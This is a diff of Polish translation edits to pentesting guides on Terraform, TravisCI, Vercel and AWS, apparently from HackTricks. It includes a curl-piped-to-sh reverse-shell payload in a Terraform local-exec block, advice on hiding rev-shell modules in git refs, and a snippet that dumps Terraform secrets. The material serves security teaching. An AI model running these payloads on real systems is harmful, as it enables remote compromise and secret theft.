Możesz następnie użyć spójnego przepływu pracy do provisionowania i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci masowej i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS. #### Jak działa Terraform? @@ -91,7 +91,7 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module ``` Możesz znaleźć kod rev shell w [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod rev shell Terraform w gałęzi** wewnątrz repozytorium, coś w stylu: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod terraform rev shell w gałęzi** wewnątrz repo, coś w stylu: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply @@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, korzystając z zewnętrznych odniesień**. +Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, używając zewnętrznych odniesień**. ## Zrzuty sekretów -Możesz uzyskać **zrzuty tajnych wartości używanych przez terraform**, uruchamiając `terraform apply`, dodając do pliku terraform coś takiego: +Możesz uzyskać **zrzut wartości sekretów używanych przez terraform**, uruchamiając `terraform apply`, dodając do pliku terraform coś takiego: ```json output "dotoken" { value = nonsensitive(var.do_token) @@ -124,13 +124,13 @@ value = nonsensitive(var.do_token) ``` ## Wykorzystywanie plików stanu Terraform -W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**to badanie**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferuje kilka interesujących opcji, aby skorzystać z pliku: +W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**te badania**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferują kilka interesujących opcji, aby skorzystać z pliku: ### Usuwanie zasobów Istnieją 2 sposoby na zniszczenie zasobów: -1. **Wstaw zasób o losowej nazwie do pliku stanu wskazującego na rzeczywisty zasób do zniszczenia** +1. **Wstaw zasób o losowej nazwie do pliku stanu wskazujący na rzeczywisty zasób do zniszczenia** Ponieważ terraform zobaczy, że zasób nie powinien istnieć, zniszczy go (zgodnie z rzeczywistym identyfikatorem zasobu wskazanym). Przykład z poprzedniej strony: ```json @@ -195,7 +195,7 @@ Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC) - **Funkcje:** - Skanowanie w czasie rzeczywistym w poszukiwaniu luk w zabezpieczeniach i problemów z zgodnością. - Integracja z systemami kontroli wersji (GitHub, GitLab, Bitbucket). -- Automatyczne prośby o poprawki. +- Automatyczne pull requesty z poprawkami. - Szczegółowe porady dotyczące usuwania problemów. - **Zarejestruj się:** Utwórz konto na [Snyk](https://snyk.io/). ```bash @@ -217,17 +217,17 @@ checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -Z [**dokumentacji**](https://github.com/terraform-compliance/cli): `terraform-compliance` to lekkie, skoncentrowane na bezpieczeństwie i zgodności ramy testowe dla terraform, które umożliwiają negatywne testowanie twojej infrastruktury jako kodu. +Z [**dokumentacji**](https://github.com/terraform-compliance/cli): `terraform-compliance` to lekkie, skoncentrowane na bezpieczeństwie i zgodności ramy testowe dla terraform, umożliwiające negatywne testowanie twojej infrastruktury jako kodu. - **zgodność:** Upewnij się, że wdrożony kod przestrzega standardów bezpieczeństwa oraz twoich własnych standardów - **rozwój oparty na zachowaniu:** Mamy BDD prawie dla wszystkiego, dlaczego nie dla IaC? -- **przenośność:** wystarczy zainstalować z `pip` lub uruchomić za pomocą `docker`. Zobacz [Instalacja](https://terraform-compliance.com/pages/installation/) +- **przenośny:** wystarczy zainstalować go z `pip` lub uruchomić za pomocą `docker`. Zobacz [Instalacja](https://terraform-compliance.com/pages/installation/) - **przed wdrożeniem:** waliduje twój kod przed jego wdrożeniem -- **łatwość integracji:** może działać w twoim pipeline (lub w git hooks), aby zapewnić, że wszystkie wdrożenia są walidowane. -- **segregacja obowiązków:** możesz przechowywać swoje testy w innym repozytorium, gdzie odpowiedzialny jest oddzielny zespół. +- **łatwy do zintegrowania:** może działać w twoim pipeline (lub w git hooks), aby zapewnić, że wszystkie wdrożenia są walidowane. +- **segregacja obowiązków:** możesz przechowywać swoje testy w innym repozytorium, gdzie odpowiedzialny jest osobny zespół. > [!NOTE] -> Niestety, jeśli kod korzysta z niektórych dostawców, do których nie masz dostępu, nie będziesz mógł wykonać `terraform plan` i uruchomić to narzędzie. +> Niestety, jeśli kod korzysta z niektórych dostawców, do których nie masz dostępu, nie będziesz mógł wykonać `terraform plan` i uruchomić tego narzędzia. ```bash pip install terraform-compliance terraform plan -out=plan.out @@ -244,8 +244,8 @@ Z [**dokumentacji**](https://github.com/aquasecurity/tfsec): tfsec wykorzystuje - ↪️ Ocenia funkcje Terraform, np. `concat()` - 🔗 Ocenia relacje między zasobami Terraform - 🧰 Kompatybilny z Terraform CDK -- 🙅 Zastosowuje (i wzbogaca) zdefiniowane przez użytkownika polityki Rego -- 📃 Obsługuje wiele formatów wyjściowych: lovely (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif. +- 🙅 Zastosowuje (i upiększa) zdefiniowane przez użytkownika polityki Rego +- 📃 Obsługuje wiele formatów wyjściowych: piękny (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif. - 🛠️ Konfigurowalny (za pomocą flag CLI i/lub pliku konfiguracyjnego) - ⚡ Bardzo szybki, zdolny do szybkiego skanowania ogromnych repozytoriów ```bash @@ -256,7 +256,7 @@ tfsec /path/to/folder Znajdź luki w zabezpieczeniach, problemy z zgodnością i błędy w konfiguracji infrastruktury na wczesnym etapie cyklu rozwoju twojej infrastruktury jako kodu z **KICS** od Checkmarx. -**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny dla każdego projektu natywnego w chmurze. +**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny dla każdego projektu opartego na chmurze. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md index 532f24e78..5ba65bf32 100644 --- a/src/pentesting-ci-cd/todo.md +++ b/src/pentesting-ci-cd/todo.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -Proszę o zgłoszenia PR na Githubie wyjaśniające, jak (nadużywać) tych platform z perspektywy atakującego +PR-y na Githubie są mile widziane, wyjaśniające, jak (nadużywać) tych platform z perspektywy atakującego - Drone - TeamCity diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md index e207d0229..f81dd6a2e 100644 --- a/src/pentesting-ci-cd/travisci-security/README.md +++ b/src/pentesting-ci-cd/travisci-security/README.md @@ -4,7 +4,7 @@ ## Czym jest TravisCI -**Travis CI** to **hostowana** lub na **miejscu** usługa **ciągłej integracji** używana do budowania i testowania projektów oprogramowania hostowanych na kilku **różnych platformach git**. +**Travis CI** to **hostowana** lub na **miejscu** usługa **ciągłej integracji**, używana do budowania i testowania projektów oprogramowania hostowanych na kilku **różnych platformach git**. {{#ref}} basic-travisci-information.md @@ -20,33 +20,33 @@ Aby przeprowadzić atak, najpierw musisz wiedzieć, jak wyzwolić budowę. Domy #### Zadania Cron -Jeśli masz dostęp do aplikacji internetowej, możesz **ustawić zadania cron do uruchamiania budowy**, co może być przydatne do utrzymania lub wyzwolenia budowy: +Jeśli masz dostęp do aplikacji webowej, możesz **ustawić zadania cron do uruchamiania budowy**, co może być przydatne do utrzymania lub wyzwolenia budowy: ![](<../../images/image (243).png>) > [!NOTE] > Wygląda na to, że nie można ustawić zadań cron w pliku `.travis.yml` zgodnie z [tym](https://github.com/travis-ci/travis-ci/issues/9162). -### PR zewnętrznych podmiotów +### PR zewnętrznych -TravisCI domyślnie wyłącza udostępnianie zmiennych środowiskowych z PR pochodzących od zewnętrznych podmiotów, ale ktoś może to włączyć, a wtedy możesz stworzyć PR do repozytorium i wyeksportować sekrety: +TravisCI domyślnie wyłącza udostępnianie zmiennych środowiskowych z PR pochodzących od osób trzecich, ale ktoś może to włączyć, a wtedy możesz stworzyć PR do repozytorium i wyeksportować sekrety: ![](<../../images/image (208).png>) ### Zrzucanie sekretów -Jak wyjaśniono na stronie [**podstawowe informacje**](basic-travisci-information.md), istnieją 2 typy sekretów. **Sekrety zmiennych środowiskowych** (które są wymienione na stronie internetowej) oraz **niestandardowe zaszyfrowane sekrety**, które są przechowywane w pliku `.travis.yml` jako base64 (zauważ, że oba, jako przechowywane zaszyfrowane, będą kończyć jako zmienne środowiskowe na końcowych maszynach). +Jak wyjaśniono na stronie [**podstawowe informacje**](basic-travisci-information.md), istnieją 2 typy sekretów. **Sekrety zmiennych środowiskowych** (które są wymienione na stronie internetowej) oraz **niestandardowe zaszyfrowane sekrety**, które są przechowywane w pliku `.travis.yml` jako base64 (zauważ, że oba, jako przechowywane zaszyfrowane, będą kończyć jako zmienne środowiskowe na finalnych maszynach). -- Aby **wyliczyć sekrety** skonfigurowane jako **zmienne środowiskowe**, przejdź do **ustawień** **projektu** i sprawdź listę. Należy jednak pamiętać, że wszystkie zmienne środowiskowe projektu ustawione tutaj pojawią się przy wyzwalaniu budowy. +- Aby **wyliczyć sekrety** skonfigurowane jako **zmienne środowiskowe**, przejdź do **ustawień** projektu i sprawdź listę. Zauważ jednak, że wszystkie zmienne środowiskowe projektu ustawione tutaj pojawią się przy wyzwalaniu budowy. - Aby wyliczyć **niestandardowe zaszyfrowane sekrety**, najlepiej jest **sprawdzić plik `.travis.yml`**. -- Aby **wyliczyć zaszyfrowane pliki**, możesz sprawdzić **pliki `.enc`** w repozytorium, linie podobne do `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` w pliku konfiguracyjnym, lub **zaszyfrowane iv i klucze** w **zmiennych środowiskowych** takich jak: +- Aby **wyliczyć zaszyfrowane pliki**, możesz sprawdzić **pliki `.enc`** w repozytorium, linie podobne do `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` w pliku konfiguracyjnym, lub **zaszyfrowane iv i klucze** w **zmiennych środowiskowych**, takich jak: ![](<../../images/image (81).png>) ### TODO: - Przykład budowy z działającym reverse shellem na Windows/Mac/Linux -- Przykład budowy wyciekającej zmienną środowiskową zakodowaną w base64 w logach +- Przykład budowy wyciekającej zmienne środowiskowe zakodowane w base64 w logach ### TravisCI Enterprise @@ -55,9 +55,9 @@ Jeśli atakujący znajdzie się w środowisku, które używa **TravisCI enterpri - uciec do hosta? - skompromitować kubernetes? - skompromitować inne maszyny działające w tej samej sieci? -- skompromitować nowe poświadczenia chmurowe? +- skompromitować nowe dane uwierzytelniające w chmurze? -## Odniesienia +## Referencje - [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/) - [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security) diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md index 8382e5e5a..d281efb9f 100644 --- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md +++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md @@ -10,28 +10,12 @@ Na przykład, w Github poprosi o następujące uprawnienia: - `user:email` (tylko do odczytu) - `read:org` (tylko do odczytu) -- `repo`: Przyznaje dostęp do odczytu i zapisu do kodu, statusów commitów, współpracowników i statusów wdrożeń dla publicznych i prywatnych repozytoriów oraz organizacji. - -## Szyfrowane sekrety - -### Zmienne środowiskowe - -W TravisCI, podobnie jak w innych platformach CI, możliwe jest **zapisywanie na poziomie repozytorium sekretów**, które będą zapisywane w formie zaszyfrowanej i będą **odszyfrowywane i przesyłane do zmiennej środowiskowej** maszyny wykonującej budowę. - -![](<../../images/image (203).png>) - -Możliwe jest wskazanie **gałęzi, do których sekrety będą dostępne** (domyślnie wszystkie) oraz czy TravisCI **powinien ukryć ich wartość**, jeśli pojawi się **w logach** (domyślnie tak). - -### Niestandardowe szyfrowane sekrety - -Dla **każdego repozytorium** TravisCI generuje **parę kluczy RSA**, **przechowuje** klucz **prywatny** i udostępnia **klucz publiczny** repozytorium tym, którzy mają **dostęp** do repozytorium. - -Możesz uzyskać dostęp do klucza publicznego jednego repozytorium za pomocą: +- `repo`: Przyznaje dostęp do odczytu i zapisu do ``` travis pubkey -r / travis pubkey -r carlospolop/t-ci-test ``` -Następnie możesz użyć tej konfiguracji do **szyfrowania sekretów i dodawania ich do swojego `.travis.yaml`**. Sekrety będą **odszyfrowane, gdy budowa będzie uruchamiana** i dostępne w **zmiennych środowiskowych**. +Następnie możesz użyć tej konfiguracji do **szyfrowania sekretów i dodawania ich do swojego `.travis.yaml`**. Sekrety będą **odszyfrowane, gdy budowa zostanie uruchomiona** i dostępne w **zmiennych środowiskowych**. ![](<../../images/image (139).png>) @@ -39,7 +23,7 @@ Zauważ, że sekrety szyfrowane w ten sposób nie będą widoczne na liście w z ### Niestandardowe Szyfrowane Pliki -Tak jak wcześniej, TravisCI również pozwala na **szyfrowanie plików, a następnie odszyfrowywanie ich podczas budowy**: +W ten sam sposób, co wcześniej, TravisCI również pozwala na **szyfrowanie plików, a następnie odszyfrowywanie ich podczas budowy**: ``` travis encrypt-file super_secret.txt -r carlospolop/t-ci-test @@ -81,7 +65,7 @@ Travis CI Enterprise to **wersja on-prem Travis CI**, którą możesz wdrożyć 1. Infrastruktury, w której można wdrożyć obraz docker zawierający **Worker i powiązany obraz budowy**. 2. Łączności z niektórymi komponentami Travis CI Core Services - zobacz [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) po więcej szczegółów. -Liczba wdrożonych obrazów TCI Worker i środowiska budowy OS określi całkowitą równoległą pojemność wdrożenia Travis CI Enterprise w twojej infrastrukturze. +Liczba wdrożonych Worker TCI i obrazów systemu operacyjnego środowiska budowy określi całkowitą równoległą pojemność wdrożenia Travis CI Enterprise w twojej infrastrukturze. ![](<../../images/image (199).png>) diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md index 5824f7f6d..8f95148f8 100644 --- a/src/pentesting-ci-cd/vercel-security.md +++ b/src/pentesting-ci-cd/vercel-security.md @@ -99,7 +99,7 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk - **Niebezpieczne integracje zewnętrzne** - **Błąd w konfiguracji:** Integracja z nieufnymi lub niebezpiecznymi usługami zewnętrznymi. -- **Ryzyko:** Wprowadzenie luk w zabezpieczeniach, wyciek danych lub tylne drzwi przez skompromitowane integracje. +- **Ryzyko:** Wprowadzenie luk w zabezpieczeniach, wycieków danych lub tylnej furtki przez skompromitowane integracje. - **Nadmierne uprawnienia integracji** - **Błąd w konfiguracji:** Przyznawanie nadmiernych uprawnień zintegrowanym usługom. - **Ryzyko:** Nieautoryzowany dostęp do zasobów projektu, manipulacja danymi lub zakłócenia usług. @@ -111,7 +111,7 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk ### Ochrona wdrożeń -**Cel:** Zabezpieczenie wdrożeń poprzez różne mechanizmy ochrony, kontrolując, kto może uzyskać dostęp i wdrażać do twoich środowisk. +**Cel:** Zabezpieczenie wdrożeń poprzez różne mechanizmy ochrony, kontrolując, kto może uzyskać dostęp i wdrażać w twoich środowiskach. #### Konfiguracje zabezpieczeń: @@ -213,7 +213,7 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk **Ochrona forka Git** - **Błąd w konfiguracji:** Umożliwienie nieautoryzowanych pull requestów bez odpowiednich przeglądów. -- **Ryzyko:** Złośliwy kod może zostać scalony z bazą kodu, wprowadzając luki w zabezpieczeniach lub tylne drzwi. +- **Ryzyko:** Złośliwy kod może zostać scalony z kodem źródłowym, wprowadzając luki w zabezpieczeniach lub tylne furtki. **Bezpieczny dostęp do backendu z OIDC Federation** @@ -222,7 +222,7 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk **Polityka przechowywania wdrożeń** -- **Błąd w konfiguracji:** Ustawienie okresów przechowywania zbyt krótkich (utrata historii wdrożeń) lub zbyt długich (niepotrzebne przechowywanie danych). +- **Błąd w konfiguracji:** Ustawienie zbyt krótkich okresów przechowywania (utrata historii wdrożeń) lub zbyt długich (niepotrzebne przechowywanie danych). - **Ryzyko:** Niemożność wykonania rollbacków w razie potrzeby lub zwiększone ryzyko ujawnienia danych z starych wdrożeń. **Ostatnio usunięte wdrożenia** @@ -234,7 +234,7 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk ### Zaawansowane -**Cel:** Dostęp do dodatkowych ustawień projektu w celu precyzyjnego dostosowania konfiguracji i zwiększenia bezpieczeństwa. +**Cel:** Dostęp do dodatkowych ustawień projektu w celu dostosowania konfiguracji i zwiększenia bezpieczeństwa. #### Konfiguracje zabezpieczeń: @@ -317,7 +317,7 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk ### Grupy dostępu -**Grupa dostępu** w Vercel to zbiór projektów i członków zespołu z przypisanymi z góry rolami, co umożliwia centralne i uproszczone zarządzanie dostępem w wielu projektach. +**Grupa dostępu** w Vercel to zbiór projektów i członków zespołu z przypisanymi rolami, co umożliwia centralne i uproszczone zarządzanie dostępem w wielu projektach. **Potencjalne błędy w konfiguracji:** @@ -360,14 +360,14 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk - **Ryzyka:** - **Ujawnienie sekretów:** Zmienne środowiskowe mogą być przeglądane lub edytowane przez nieautoryzowanych członków zespołu. - **Naruszenie danych:** Wrażliwe informacje, takie jak klucze API i poświadczenia, mogą zostać wycieknięte. -- **Dziennik audytu:** Zapewnia eksport aktywności zespołu za ostatnie 90 dni. Dzienniki audytu pomagają w monitorowaniu i śledzeniu działań wykonywanych przez członków zespołu. +- **Dziennik audytu:** Zapewnia eksport aktywności zespołu za ostatnie 90 dni. Dzienniki audytu pomagają w monitorowaniu i śledzeniu działań członków zespołu. - **Błąd w konfiguracji:**\ Przyznawanie dostępu do dzienników audytu nieautoryzowanym członkom zespołu. - **Ryzyka:** - **Naruszenia prywatności:** Ujawnienie wrażliwych działań i danych użytkowników. - **Manipulacja logami:** Złośliwi aktorzy mogą zmieniać lub usuwać logi, aby ukryć swoje ślady. - **SAML Single Sign-On:** Umożliwia dostosowanie autoryzacji SAML i synchronizacji katalogów dla twojego zespołu, umożliwiając integrację z dostawcą tożsamości (IdP) w celu centralnej autoryzacji i zarządzania użytkownikami. -- **Błąd w konfiguracji:** Atakujący może wprowadzić tylne drzwi do ustawień zespołu, konfigurując parametry SAML, takie jak identyfikator encji, adres URL SSO lub odciski palców certyfikatu. +- **Błąd w konfiguracji:** Atakujący może wprowadzić tylne furtki w ustawieniach zespołu, konfigurując parametry SAML, takie jak identyfikator encji, adres URL SSO lub odciski palców certyfikatu. - **Ryzyko:** Utrzymanie trwałości - **Widoczność adresów IP:** Kontroluje, czy adresy IP, które mogą być uważane za dane osobowe zgodnie z niektórymi przepisami o ochronie danych, są wyświetlane w zapytaniach monitorujących i odpływach logów. - **Błąd w konfiguracji:** Pozostawienie widoczności adresów IP włączonej bez potrzeby. @@ -399,14 +399,14 @@ Przyznawanie dostępu do dzienników audytu nieautoryzowanym członkom zespołu. - **Ryzyko:** Nieautoryzowany dostęp do infrastruktury backendowej, nieudane bezpieczne połączenia i potencjalne naruszenia danych. 4. **Nadmierne przypisania projektów** - **Błąd w konfiguracji:** Przypisanie wielu projektów do jednej sieci Secure Compute bez odpowiedniej izolacji. -- **Ryzyko:** Wspólne ujawnienie IP zwiększa powierzchnię ataku, potencjalnie pozwalając skompromitowanym projektom wpływać na inne. +- **Ryzyko:** Wspólna ekspozycja IP zwiększa powierzchnię ataku, co potencjalnie pozwala skompromitowanym projektom wpływać na inne. 5. **Niewystarczające zarządzanie adresami IP** - **Błąd w konfiguracji:** Nieprawidłowe zarządzanie lub rotacja dedykowanych adresów IP. - **Ryzyko:** Fałszowanie IP, luki w śledzeniu i potencjalne umieszczanie na czarnej liście, jeśli IP są powiązane z działalnością złośliwą. 6. **Niepotrzebne włączanie kontenerów budowlanych** - **Błąd w konfiguracji:** Dodawanie kontenerów budowlanych do sieci Secure Compute, gdy dostęp do backendu nie jest wymagany podczas budowy. - **Ryzyko:** Zwiększona powierzchnia ataku, wydłużone opóźnienia w przydzielaniu zasobów i niepotrzebne zużycie zasobów sieciowych. -7. **Niebezpieczne zarządzanie sekretami omijania** +7. **Brak bezpiecznego zarządzania sekretami omijania** - **Błąd w konfiguracji:** Ujawnianie lub niewłaściwe zarządzanie sekretami używanymi do omijania ochrony wdrożeń. - **Ryzyko:** Nieautoryzowany dostęp do chronionych wdrożeń, co pozwala atakującym manipulować lub wdrażać złośliwy kod. 8. **Ignorowanie konfiguracji failover regionu** diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md index a7d3ed401..915a15126 100644 --- a/src/pentesting-cloud/aws-security/README.md +++ b/src/pentesting-cloud/aws-security/README.md @@ -31,7 +31,7 @@ Narzędzia do symulacji ataków: Aby audytować środowisko AWS, bardzo ważne jest, aby wiedzieć: które **usługi są używane**, co jest **eksponowane**, kto ma **dostęp** do czego i jak wewnętrzne usługi AWS są połączone z **zewnętrznymi usługami**. -Z punktu widzenia Red Team, **pierwszym krokiem do skompromitowania środowiska AWS** jest zdobycie jakichś **poświadczeń**. Oto kilka pomysłów, jak to zrobić: +Z punktu widzenia Red Team, **pierwszym krokiem do skompromitowania środowiska AWS** jest uzyskanie jakichś **poświadczeń**. Oto kilka pomysłów, jak to zrobić: - **Wycieki** w githubie (lub podobnych) - OSINT - **Inżynieria** społeczna @@ -58,7 +58,7 @@ aws-permissions-for-a-pentest.md {{#endref}} > [!NOTE] -> Po zdobyciu poświadczeń musisz wiedzieć **do kogo należą te poświadczenia** i **do czego mają dostęp**, więc musisz przeprowadzić podstawową enumerację: +> Po uzyskaniu poświadczeń musisz wiedzieć **do kogo należą te poświadczenia** i **do czego mają dostęp**, więc musisz przeprowadzić podstawową enumerację: ## Podstawowa enumeracja @@ -121,7 +121,7 @@ AWS ma zdumiewającą ilość usług, na następnej stronie znajdziesz **podstaw aws-services/ {{#endref}} -Zauważ, że **nie** musisz wykonywać całej pracy **ręcznie**, poniżej w tym poście znajdziesz **sekcję o** [**automatycznych narzędziach**](./#automated-tools). +Zauważ, że **nie** musisz wykonywać całej pracy **ręcznie**, poniżej w tym poście możesz znaleźć **sekcję o** [**automatycznych narzędziach**](./#automated-tools). Co więcej, na tym etapie możesz odkryć **więcej usług wystawionych dla użytkowników nieautoryzowanych**, które możesz wykorzystać: @@ -152,13 +152,13 @@ https://book.hacktricks.xyz/ ### Z konta głównego/zarządzającego -Kiedy konto zarządzające tworzy nowe konta w organizacji, **nowa rola** jest tworzona w nowym koncie, domyślnie nazwana **`OrganizationAccountAccessRole`** i nadająca politykę **AdministratorAccess** dla **konta zarządzającego**, aby uzyskać dostęp do nowego konta. +Kiedy konto zarządzające tworzy nowe konta w organizacji, w nowym koncie tworzona jest **nowa rola**, domyślnie nazwana **`OrganizationAccountAccessRole`** i nadająca politykę **AdministratorAccess** dla **konta zarządzającego**, aby uzyskać dostęp do nowego konta.
Aby uzyskać dostęp jako administrator do konta podrzędnego, musisz: -- **Skompromitować** konto **zarządzające** i znaleźć **ID** **konta podrzędnych** oraz **nazwy** **ról** (domyślnie OrganizationAccountAccessRole), które pozwalają kontu zarządzającemu uzyskać dostęp jako administrator. +- **Skompromitować** konto **zarządzające** i znaleźć **ID** **konta podrzędnego** oraz **nazwy** **ról** (domyślnie OrganizationAccountAccessRole), które pozwalają kontu zarządzającemu uzyskać dostęp jako administrator. - Aby znaleźć konta podrzędne, przejdź do sekcji organizacji w konsoli AWS lub uruchom `aws organizations list-accounts` - Nie możesz znaleźć nazw ról bezpośrednio, więc sprawdź wszystkie niestandardowe polityki IAM i poszukaj tych, które pozwalają na **`sts:AssumeRole` nad wcześniej odkrytymi kontami podrzędnymi**. - **Skompromituj** **podmiot** w koncie zarządzającym z **uprawnieniem `sts:AssumeRole` nad rolą w kontach podrzędnych** (nawet jeśli konto pozwala każdemu z konta zarządzającego na podszywanie się, ponieważ jest to konto zewnętrzne, konkretne uprawnienia `sts:AssumeRole` są konieczne). @@ -233,7 +233,7 @@ pip install cartography # Get AWS info AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j ``` -- [**starbase**](https://github.com/JupiterOne/starbase): Starbase zbiera zasoby i relacje z usług i systemów, w tym infrastruktury chmurowej, aplikacji SaaS, kontroli bezpieczeństwa i innych, w intuicyjny widok graficzny oparty na bazie danych Neo4j. +- [**starbase**](https://github.com/JupiterOne/starbase): Starbase zbiera zasoby i relacje z usług i systemów, w tym infrastruktury chmurowej, aplikacji SaaS, kontroli bezpieczeństwa i innych, w intuicyjnym widoku graficznym opartym na bazie danych Neo4j. - [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Używa python2) To narzędzie, które próbuje **odkryć wszystkie** [**zasoby AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) utworzone w koncie. - [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): To narzędzie do **pobierania wszystkich publicznych adresów IP** (zarówno IPv4/IPv6) związanych z kontem AWS. @@ -255,7 +255,7 @@ pacu > exec iam__enum_permissions # Get permissions > exec iam__privesc_scan # List privileged permissions ``` -- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) to skrypt i biblioteka do identyfikacji ryzyk w konfiguracji AWS Identity and Access Management (IAM) dla konta AWS lub organizacji AWS. Modeluje różnych użytkowników i role IAM w koncie jako skierowany graf, co umożliwia sprawdzanie **eskalacji uprawnień** oraz alternatywnych ścieżek, które atakujący mógłby wykorzystać, aby uzyskać dostęp do zasobu lub akcji w AWS. Możesz sprawdzić **uprawnienia używane do znajdowania ścieżek privesc** w plikach kończących się na `_edges.py` w [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) +- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) to skrypt i biblioteka do identyfikacji ryzyk w konfiguracji AWS Identity and Access Management (IAM) dla konta AWS lub organizacji AWS. Modeluje różnych użytkowników i role IAM w koncie jako skierowany graf, co umożliwia sprawdzanie **eskalacji uprawnień** oraz alternatywnych ścieżek, którymi atakujący mógłby się posłużyć, aby uzyskać dostęp do zasobu lub akcji w AWS. Możesz sprawdzić **uprawnienia używane do znajdowania ścieżek privesc** w plikach kończących się na `_edges.py` w [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) ```bash # Install pip install principalmapper @@ -278,7 +278,7 @@ pmapper --profile dev orgs create pmapper --profile dev orgs display ``` - [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining to narzędzie do oceny bezpieczeństwa AWS IAM, które identyfikuje naruszenia zasady najmniejszych uprawnień i generuje raport HTML z priorytetem ryzyka.\ -Pokaże Ci potencjalnie **nadmiernie uprawnionego** klienta, polityki inline i aws oraz które **podmioty mają do nich dostęp**. (Sprawdza nie tylko privesc, ale także inne interesujące uprawnienia, zaleca się użycie). +Pokaże ci potencjalnie **nadmiernie uprawnionego** klienta, polityki inline i aws **polityki** oraz które **podmioty mają do nich dostęp**. (Sprawdza nie tylko privesc, ale także inne interesujące uprawnienia, zaleca się użycie). ```bash # Install pip install cloudsplaining @@ -314,11 +314,11 @@ prowler -v prowler prowler aws --profile custom-profile [-M csv json json-asff html] ``` -- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox pomaga uzyskać świadomość sytuacyjną w nieznanych środowiskach chmurowych. To narzędzie wiersza poleceń typu open source, stworzone, aby pomóc testerom penetracyjnym i innym profesjonalistom w dziedzinie bezpieczeństwa ofensywnego znaleźć możliwe do wykorzystania ścieżki ataku w infrastrukturze chmurowej. +- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox pomaga uzyskać świadomość sytuacyjną w nieznanych środowiskach chmurowych. To narzędzie wiersza poleceń typu open source, stworzone, aby pomóc testerom penetracyjnym i innym profesjonalistom w dziedzinie bezpieczeństwa ofensywnego znaleźć wykorzystywalne ścieżki ataku w infrastrukturze chmurowej. ```bash cloudfox aws --profile [profile-name] all-checks ``` -- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite to narzędzie do audytu bezpieczeństwa w chmurze wielochmurowej o otwartym kodzie źródłowym, które umożliwia ocenę stanu bezpieczeństwa środowisk chmurowych. +- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite to narzędzie do audytu bezpieczeństwa w chmurze o otwartym 